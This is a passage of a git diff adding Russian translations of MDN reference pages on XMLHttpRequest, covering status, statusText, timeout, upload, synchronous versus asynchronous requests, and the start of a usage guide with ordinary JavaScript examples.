+++ b/files/ru/web/api/xmlhttprequest/status/index.html
@@ -0,0 +1,77 @@
+---
+title: XMLHttpRequest.status
+slug: Web/API/XMLHttpRequest/status
+tags:
+  - API
+  - Error
+  - Property
+  - Reference
+  - XMLHttpRequest
+  - XMLHttpRequest Status
+  - result
+  - status
+translation_of: Web/API/XMLHttpRequest/status
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>Доступное только для чтения свойство <code><strong>XMLHttpRequest.status</strong></code>, возвращает числовой <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status">код состояния</a> HTTP ответа <code>XMLHttpRequest</code>.</p>
+
+<p>До завершения запроса значение <code>status</code> равно 0. Браузеры также сообщают о состоянии 0 в случае ошибок <code>XMLHttpRequest</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest;
+console.log('UNSENT: ', xhr.status);
+
+xhr.open('GET', '/server');
+console.log('OPENED: ', xhr.status);
+
+xhr.onprogress = function () {
+  console.log('LOADING: ', xhr.status);
+};
+
+xhr.onload = function () {
+  console.log('DONE: ', xhr.status);
+};
+
+xhr.send();
+
+/**
+ * Outputs the following:
+ *
+ * UNSENT: 0
+ * OPENED: 0
+ * LOADING: 200
+ * DONE: 200
+ */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-status-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.XMLHttpRequest.status")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Список <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP response codes</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/statustext/index.html b/files/ru/web/api/xmlhttprequest/statustext/index.html
new file mode 100644
index 0000000000..9db0ccb806
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/statustext/index.html
@@ -0,0 +1,78 @@
+---
+title: XMLHttpRequest.statusText
+slug: Web/API/XMLHttpRequest/statusText
+tags:
+  - AJAX
+  - API
+  - Property
+  - Read-only
+  - Reference
+  - XMLHttpRequest
+  - XMLHttpRequest Status
+translation_of: Web/API/XMLHttpRequest/statusText
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<div>
+<p>Свойство <code><strong>XMLHttpRequest.statusText</strong></code>, доступное только для чтения, возвращает строку <code>DOMString</code>, содержащую сообщение о состоянии ответа, возвращаемое HTTP-сервером. В отличие от <code>XMLHTTPRequest.status</code>, который указывает числовой код состояния, это свойство содержит текст состояния ответа, например «OK» или «Not Found». Если запрос <code>readyState </code>находится в состоянии <code>UNSENT </code>или <code>OPENED</code>, значением <code>statusText </code>будет пустая строка.</p>
+
+<p>Если в ответе сервера явно не указан текст состояния, для <code>statusText </code>будет принято значение по умолчанию «ОК».</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+console.log('0 UNSENT', xhr.statusText);
+
+xhr.open('GET', '/server', true);
+console.log('1 OPENED', xhr.statusText);
+
+xhr.onprogress = function () {
+  console.log('3 LOADING', xhr.statusText);
+};
+
+xhr.onload = function () {
+  console.log('4 DONE', xhr.statusText);
+};
+
+xhr.send(null);
+
+/**
+ * Outputs the following:
+ *
+ * 0 UNSENT
+ * 1 OPENED
+ * 3 LOADING OK
+ * 4 DONE OK
+ */
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-statustext-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.XMLHttpRequest.statusText")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Список <a href="/en-US/docs/Web/HTTP/Response_codes">HTTP response codes</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
new file mode 100644
index 0000000000..ad5e6f8c2c
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
@@ -0,0 +1,234 @@
+---
+title: Синхронные и асинхронные запросы
+slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+---
+<p> </p>
+
+<p><code>XMLHttpRequest</code> поддерживает как синхронные, так и асинхронные запросы. В основном предпочтительно использовать асинхронные запросы вместо синхронных из-за соображений производительности.</p>
+
+<p>Синхронный запрос приводит к выполнению кода, который "блокирует" взаимодействие с вкладкой браузера до тех пор, пока запрос не будет полность выполнен, что существенно ухудшает отклик страницы.</p>
+
+<h2 id="Асинхронные_запросы">Асинхронные запросы</h2>
+
+<p>Если вы используете асинхронный режим <code>XMLHttpRequest</code>, то после того, как данные будут получены, будет вызвана функция обработчик. Это позволяет браузеру работать нормально пока ваш запрос будет обрабатываться.</p>
+
+<h3 id="Пример_отправка_запроса_и_получение_файла_ответа">Пример:  отправка запроса и получение файла ответа</h3>
+
+<p><code>Приведём простейший пример асинхронного запроса XMLHttpRequest</code>.</p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+  if (xhr.readyState === 4) {
+    if (xhr.status === 200) {
+      console.log(xhr.responseText);
+    } else {
+      console.error(xhr.statusText);
+    }
+  }
+};
+xhr.onerror = function (e) {
+  console.error(xhr.statusText);
+};
+xhr.send(null); </pre>
+
+<p>2 строка. 3 параметр метода <code>open</code> установлен как <code>true</code>  для того, чтобы явно указать, что этот запрос будет обрабатываться асинхронно.</p>
+
+<p>3 строка. Создаётся функция обработчик события <code>onload</code>. Этот обработчик следить за параметром <code>readyState</code>, для того, чтобы определить завершена ли передача данных и если это так и HTTP статус 200, то полученные данные выводятся в консоль. А если в результате передачи данных возникла ошибка, то сообщение об ошибки будет выведено в консоль.</p>
+
+<p>15 строка. Происходит инициализация отправки запроса. Функция обработчик будет вызываться каждый раз, как будет происходить изменения состояния данного запроса.</p>
+
+<h3 id="Пример_создание_стандартной_функции_для_чтения_внешних_файлов">Пример: создание стандартной функции для чтения внешних файлов</h3>
+
+<p>В разных сценариях существует необходимость принимать внешние файлы (ответ от сервера, к примеру, json файл). Это стандартная функция, которая использует<br>
+ <code>XMLHttpRequest</code> объект асинхронно, чтобы передать прочитанный контент в специальную функцию обработчик.</p>
+
+<pre class="brush: js">function xhrSuccess() {
+    this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+    console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+    var xhr = new XMLHttpRequest();
+    xhr.callback = callback;
+    xhr.arguments = Array.prototype.slice.call(arguments, 2);
+    xhr.onload = xhrSuccess;
+    xhr.onerror = xhrError;
+    xhr.open("GET", url, true);
+    xhr.send(null);
+}
+</pre>
+
+<p>Использование:</p>
+
+<pre class="brush: js">function showMessage(message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+</pre>
+
+<p>Сигнатура вспомогательной функции <code>LoadFile</code> следующая: 1 аргумент - URL адрес для запроса (через HTTP GET), 2 аргумент - функция, которая будет вызвана после успешного выполнения ajax запроса и 3 аргумент - список аргументов, которые будут передаваться через XHR объект в функцию, которая была указана во 2 аргументе.</p>
+
+<p>Строка 1 определяет функцию, которая будет вызвана, когда ajax запрос завершиться успешно. В свою очередь это вызовет функции callback, которая была указана в вызове функции <code>loadFile</code> (то есть функция <code>showMessage</code>) которая была обозначена как свойство <code>XHR</code> объекта (строка 11). Дополнительные аргументы, которые были указаны при вызове функции <code>loadFile</code>, подставляются в вызов callback функции.</p>
+
+<p>Строка 5 определяет функцию, которая будет вызвана в случаи, если ajax запрос не сможет завершиться успешно.</p>
+
+<p>Строка 11 сохраняет в <code>XHR</code> объекте функцию, которая будет вызвана после успешного завершения ajax запроса. (эта функция передаётся 2 аргументов в вызове функции <code>loadFile</code>).</p>
+
+<p>12 строка срезает псевдомассив аргументов, который был передан при вызове функции <code>loadFile</code>. Начиная с 3 аргумента все аргументы будут хранится в массиве arguments объекта <code>xhr</code>, который передаётся в функцию <code>xhrSuccess</code> и в конечном итоге будут использованы при вызове функции <code>showMessage</code>, которая будет вызвана функцией <code>xhrSuccess</code> .</p>
+
+<p>Строка 15 устанавливает <code>true</code> для 3 параметра, что явно указывает на то, что запрос будет выполняться асинхронно.</p>
+
+<p>Строка 16 инициализирует запрос.</p>
+
+<h3 id="Пример_использование_timeout">Пример: использование timeout</h3>
+
+<p>При использовании асинхронных запросов, можно установить максимальное время ожидания ответа от сервера. Это делается путём установки значения свойства <code>timeout</code> <code>XMLHttpRequest</code> объекта, как показано ниже:</p>
+
+<pre class="brush: js">function loadFile(url, timeout, callback) {
+    var args = Array.prototype.slice.call(arguments, 3);
+    var xhr = new XMLHttpRequest();
+    xhr.ontimeout = function () {
+        console.error("The request for " + url + " timed out.");
+    };
+    xhr.onload = function() {
+        if (xhr.readyState === 4) {
+            if (xhr.status === 200) {
+                callback.apply(xhr, args);
+            } else {
+                console.error(xhr.statusText);
+            }
+        }
+    };
+    xhr.open("GET", url, true);
+    xhr.timeout = timeout;
+    xhr.send(null);
+}</pre>
+
+<p>Отметим, что в код была добавлена функция обработчик события <code>ontimeout</code>.</p>
+
+<p>Использование:</p>
+
+<pre class="brush: js">function showMessage (message) {
+    console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+</pre>
+
+<p>2 аргумент функции <code>loadFile</code> устанавливает время ожидание равное 2000ms.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> Поддержка <code>timeout</code> была добавлена начиная с {{Gecko("12.0")}}.</p>
+</div>
+
+<h2 id="Synchronous_request">Synchronous request</h2>
+
+<div class="note"><strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+
+<p>Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.</p>
+
+<p>All new XHR features such as <code>timeout</code> or <code>abort</code> aren't allowed for synchronous XHR. Doing so would invoke <code>InvalidAccessError</code>.</p>
+
+<h3 id="Example_HTTP_synchronous_request">Example: HTTP synchronous request</h3>
+
+<p>This example demonstrates how to make a simple synchronous request.</p>
+
+<pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false);  // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+  console.log(request.responseText);
+}
+</pre>
+
+<p>Line 3 sends the request. The <code>null</code> parameter indicates that no body content is needed for the <code>GET</code> request.</p>
+
+<p>Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.</p>
+
+<h3 id="Example_Synchronous_HTTP_request_from_a_Worker">Example: Synchronous HTTP request from a <code>Worker</code></h3>
+
+<p>One of the few cases in which a synchronous request does not usually block execution is the use of <code>XMLHttpRequest</code> within a <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>.</p>
+
+<p><code><strong>example.html</strong></code> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+  var worker = new Worker("myTask.js");
+  worker.onmessage = function(event) {
+    alert("Worker said: " + event.data);
+  };
+
+  worker.postMessage("Hello");
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code><strong>myFile.txt</strong></code> (the target of the synchronous <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> invocation):</p>
+
+<pre>Hello World!!
+</pre>
+
+<p><code><strong>myTask.js</strong></code> (the <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>):</p>
+
+<pre class="brush: js">self.onmessage = function (event) {
+  if (event.data === "Hello") {
+    var xhr = new XMLHttpRequest();
+    xhr.open("GET", "myFile.txt", false);  // synchronous request
+    xhr.send(null);
+    self.postMessage(xhr.responseText);
+  }
+};
+</pre>
+
+<div class="note"><strong>Note:</strong> The effect, because of the use of the <code>Worker</code>, is however asynchronous.</div>
+
+<p>It could be useful in order to interact in the background with the server or to preload some content. See <a class="internal" href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a> for examples and details.</p>
+
+<h3 id="Adapting_Sync_XHR_usecases_to_the_Beacon_API">Adapting Sync XHR usecases to the Beacon API</h3>
+
+<p>There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onunload"><code>window.onunload</code></a> and <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload"><code>window.onbeforeunload</code></a> events. You should consider using the <code>fetch</code> API with <code>keepalive</code> flag. When <code>fetch</code> with <code>keepalive</code> isn't available, you can consider using the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a> API can support these use cases typically while delivering a good UX.</p>
+
+<p>The following example (from the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">sendBeacon docs</a>) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+</pre>
+
+<p>Using the <strong><code>sendBeacon()</code></strong> method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, <strong>without delaying the unload or affecting the performance of the next navigation.</strong></p>
+
+<p>The following example shows a theoretical analytics code pattern that submits data to a server by using the <strong><code>sendBeacon()</code></strong> method.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/Guide/AJAX">AJAX</a></li>
+ <li><code><a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a></code></li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/timeout/index.html b/files/ru/web/api/xmlhttprequest/timeout/index.html
new file mode 100644
index 0000000000..47631f9455
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/timeout/index.html
@@ -0,0 +1,56 @@
+---
+title: XMLHttpRequest.timeout
+slug: Web/API/XMLHttpRequest/timeout
+tags:
+  - AJAX
+  - XMLHttpRequest
+  - Свойство
+  - Ссылка
+translation_of: Web/API/XMLHttpRequest/timeout
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>Свойство <code><strong>XMLHttpRequest.timeout</strong></code> определяет количество миллисекунд, которое запрос будет выполняться, до того, как будет автоматически прерван. Имеет размер <code>unsigned long.</code> Значение по умолчанию - 0, определяет, что таймаута нет. Таймаут не должен быть использован в синхронных запросах XMLHttpRequests  в {{Glossary('среде документа')}}, или будет вызвано исключение <code>InvalidAccessError</code>. Когда случается таймаут - вызывается событие <a href="/en-US/docs/Web/Events/timeout">timeout</a>. {{gecko_minversion_inline("12.0")}}</p>
+
+<dl>
+ <dd>
+ <div class="note"><strong>Примечание:</strong> Вы не можете использовать таймаут для синхронных запросов с окном - владельцем.</div>
+ </dd>
+ <dd><a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests#Example_using_a_timeout">Использование таймаута с асинхронными запросами</a></dd>
+</dl>
+
+<p>В  Internet Explorer, свойство timeout может быть установлено только после вызова метода <a href="/en-US/docs/Web/API/XMLHttpRequest/open">open()</a> и до вызова метода <a href="/en-US/docs/Web/API/XMLHttpRequest/send">send()</a>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.timeout = 2000; // time in milliseconds
+
+xhr.onload = function () {
+  // Запрос завершён. Здесь можно выполнить обработку.
+};
+
+xhr.ontimeout = function (e) {
+  // Таймаут. Здесь можно выполнить что-нибудь..
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-timeout-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/xmlhttprequest/upload/index.html b/files/ru/web/api/xmlhttprequest/upload/index.html
new file mode 100644
index 0000000000..81006b8810
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/upload/index.html
@@ -0,0 +1,116 @@
+---
+title: XMLHttpRequest.upload
+slug: Web/API/XMLHttpRequest/upload
+translation_of: Web/API/XMLHttpRequest/upload
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Свойство <strong>XMLHttpRequest.upload</strong> возвращает объект {{domxref("XMLHttpRequestUpload")}}, представляющий процесс загрузки. Это непрозрачный объект, но так как он является {{domxref("XMLHttpRequestEventTarget")}}, к нему можно добавить обработчики событий.</p>
+
+<p>Обработчики событий, которые можно добавить к объекту загрузки:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Обработчик</td>
+   <td class="header">Событие</td>
+  </tr>
+  <tr>
+   <td><code>onloadstart</code></td>
+   <td>Начало запроса</td>
+  </tr>
+  <tr>
+   <td><code>onprogress</code></td>
+   <td>Происходит передача данных</td>
+  </tr>
+  <tr>
+   <td><code>onabort</code></td>
+   <td>Запрос был отменён</td>
+  </tr>
+  <tr>
+   <td><code>onerror</code></td>
+   <td>При запросе произошла ошибка</td>
+  </tr>
+  <tr>
+   <td><code>onload</code></td>
+   <td>Запрос завершился</td>
+  </tr>
+  <tr>
+   <td><code>ontimeout</code></td>
+   <td>Запрос не завершился ко времени, указанному автором</td>
+  </tr>
+  <tr>
+   <td><code>onloadend</code></td>
+   <td>Запрос завершился (успешно или с ошибкой)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-upload-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Живой стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Начальная поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
new file mode 100644
index 0000000000..f06ee51e88
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
@@ -0,0 +1,743 @@
+---
+title: Использование XMLHttpRequest
+slug: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/Using_XMLHttpRequest
+---
+<p>Это инструкция по использованию <code><a href="/en-US/docs/DOM/XMLHttpRequest" title="XMLHttpRequest">XMLHttpRequest</a></code>, для взаимодействия через HTTP-протокол.</p>
+
+<p>Для отправки HTTP-запроса нужно создать XMLHttpRequest-объект, открыть URL и отправить запрос. После выполнения запроса можно получить и обработать тело и статус ответа.</p>
+
+<pre class="brush: js notranslate">function reqListener () {
+  console.log(this.responseText);
+}
+
+var oReq = new XMLHttpRequest();
+oReq.onload = reqListener;
+oReq.open("get", "yourFile.txt", true);
+oReq.send();</pre>
+
+<h2 id="Типы_запросов">Типы запросов</h2>
+
+<p>Запрос, сделанный посредством <code>XMLHttpRequest</code>, может загружать данные синхронно или асинхронно. Это определяется третьим аргументом метода <a href="/en-US/docs/DOM/XMLHttpRequest#open()" title="DOM/XMLHttpRequest#open()">open()</a>  объекта XMLHttpRequest: если он равен true или не определён, запрос выполнится асихнронно, в противном случае — синхронно. Детальное обсуждение и демонстрации обоих типов запросов могут быть найдены на странице <a href="/en-US/docs/DOM/XMLHttpRequest/Synchronous_and_Asynchronous_Requests" title="Synchronous and Asynchronous Requests">synchronous and asynchronous requests</a>. Использовать синхронные запросы приходится очень редко.</p>
+
+<div class="note"><strong>Примечание:</strong> Начиная с Gecko 30.0 {{ geckoRelease("30.0") }} не рекомендуется использовать синхронные запросы, так как они отрицательно влияют на пользовательский опыт.</div>
+
+<h2 id="Обработка_запросов">Обработка запросов</h2>
+
+<p>Есть несколько типов <a href="http://www.w3.org/TR/XMLHttpRequest2/#response">атрибутов ответа</a>, определённых спецификацией W3C XMLHttpRequest. Они сообщают запрашивающему важную информацию о статусе ответа. В некоторых случаях обработка нетекстовых типов ответа может потребовать дополнительных действий и анализа; эти случаи описаны ниже.</p>
+
+<h3 id="Анализ_и_использование_свойства_responseXML">Анализ и использование свойства <code>responseXML</code></h3>
+
+<p>Если скачать XML документ с помощью <code>XMLHttpRequest</code>, в свойстве <code>responseXML</code> будет объект DOM, содержащим распарсенный XML документ. Напрямую работать с ним будет сложно. Есть четыре основных способа анализа этого документа:</p>
+
+<ol>
+ <li>Использовать <a href="/ru/docs/XPath" title="XPath">XPath</a>, чтобы указывать на его части.</li>
+ <li>Использовать <a href="/ru/docs/JXON" title="JXON">JSON</a>, чтобы превратить его в дерево объектов JavaScript.</li>
+ <li>Вручную <a href="/ru/docs/Parsing_and_serializing_XML">парсить и превращать XML</a> в строки или объекты. </li>
+ <li>Использовать <a href="/ru/docs/XMLSerializer" title="XMLSerializer">XMLSerializer</a>, чтобы превращать деревья DOM в строки или файлы.</li>
+ <li>Можно использовать <a href="/ru/docs/JavaScript/Reference/Global_Objects/RegExp">регулярные выражения</a>, если вы заранее знаете содержимое документа. Возможно, стоит удалить переносы строк, если вы используете регулярные выражения с оглядкой на переносы. Однако этот метод стоит использовать только в крайнем случае, ведь если XML изменится, хотя бы чуть-чуть, то регулярное выражение, скорее всего, не справится.</li>
+</ol>
+
+<h3 id="Анализ_и_использование_свойства_responseText_содержащего_HTML_документ">Анализ и использование свойства <code>responseText,</code> содержащего <code>HTML</code> документ</h3>
+
+<div class="note"><strong>Примечание:</strong> Спецификация W3C <a href="http://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html">XMLHttpRequest</a> позволяет парсить HTML через свойство <code>XMLHttpRequest.responseXML</code>. Подробнее об этом написано в статье <a href="/ru/docs/HTML_in_XMLHttpRequest" title="HTML_in_XMLHttpRequest">HTML в XMLHttpRequest</a>.</div>
+
+<p>Если получить содержимое HTML страницы с помощью <code>XMLHttpRequest</code>, свойство <code>responseText</code> будет строкой, содержащей "кашу" изо всех HTML тэгов, с которой будет очень сложно работать. Есть три основных способа анализа этой HTML строки:</p>
+
+<ol>
+ <li>Использовать свойство <code>XMLHttpRequest.responseXML<strong>.</strong></code></li>
+ <li>Вставить содержимое в тело <a href="/ru/docs/Web/API/DocumentFragment">фрагмента документа</a> с помощью <code>fragment.body.innerHTML</code> и работать уже с этим фрагментом.</li>
+ <li>Можно использовать <a href="/ru/docs/JavaScript/Reference/Global_Objects/RegExp">регулярные выражения</a>, если вы заранее знаете содержимое документа.</li>
+</ol>
+
+<h2 id="Работа_с_двоичными_данными">Работа с двоичными данными</h2>
+
+<p>Хотя обычнно <code>XMLHttpRequest</code> используется, чтобы получать и загружать текст, с его помощью можно обмениваться и двоичными данными. Есть несколько проверенных способов заставить <code>XMLHttpRequest</code> посылать двоичные данные. Они используют метод  <code>XMLHttpRequest</code>.overrideMimeType().</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+oReq.open("GET", url, true);
+// получаем необработанные данные в виде двоичной строки
+oReq.overrideMimeType("text/plain; charset=x-user-defined");
+/* ... */
+</pre>
+
+<p>Спецификация XMLHttpRequest Level 2 добавляет новые атрибуты <a href="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute" title="http://www.w3.org/TR/XMLHttpRequest2/#the-responsetype-attribute">responseType</a>, значительно облегчающие работу с двоичными данными:</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url, true);
+oReq.responseType = "arraybuffer";
+oReq.onload = function(e) {
+  var arraybuffer = oReq.response; // not responseText
+  /* ... */
+}
+oReq.send();
+</pre>
+
+<p>Больше примеров можно найти на странице <a href="/ru/docs/DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data" title="DOM/XMLHttpRequest/Sending_and_Receiving_Binary_Data">Отправка и получение двоичных данных</a>.</p>
+
+<h2 id="Отслеживание_процесса_загрузки">Отслеживание процесса загрузки</h2>
+
+<p><code>XMLHttpRequest</code> позволяет подписываться на различные события, которые могут произойти в процессе обработки запроса. Сюда входят периодические уведомления о состоянии запроса, сообщения об ошибках и так далее. </p>
+
+<p>Отслеживание событий процесса загрузки  следует спецификации Web API <a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">progress events</a>: эти события реализуют интерфейс {{domxref("ProgressEvent")}}.</p>
+
+<pre class="brush:js notranslate">var oReq = new XMLHttpRequest();
+
+oReq.addEventListener("progress", updateProgress, false);
+oReq.addEventListener("load", transferComplete, false);
+oReq.addEventListener("error", transferFailed, false);
+oReq.addEventListener("abort", transferCanceled, false);
+
+oReq.open();
+
+// ...
+
+// состояние передачи от сервера к клиенту (загрузка)
+function updateProgress (oEvent) {
+  if (oEvent.lengthComputable) {
+    var percentComplete = oEvent.loaded / oEvent.total;
+    // ...
+  } else {
+    // Невозможно вычислить состояние загрузки, так как размер неизвестен
+  }
+}
+
+function transferComplete(evt) {
+  alert("Загрузка завершена.");
+}
+
+function transferFailed(evt) {
+  alert("При загрузке файла произошла ошибка.");
+}
+
+function transferCanceled(evt) {
+  alert("Пользователь отменил загрузку.");
+}</pre>
+
+<p>На строчках 3-6 добавляются обработчики для различных событий, происходящих при передаче данных с помощью <code>XMLHttpRequest</code>.</p>
+
+<div class="note"><strong>Примечение:</strong> Обработчики нужно добавлять до того, как вызвать <code>open(). В противном случае события не будут обработаны.</code></div>
+
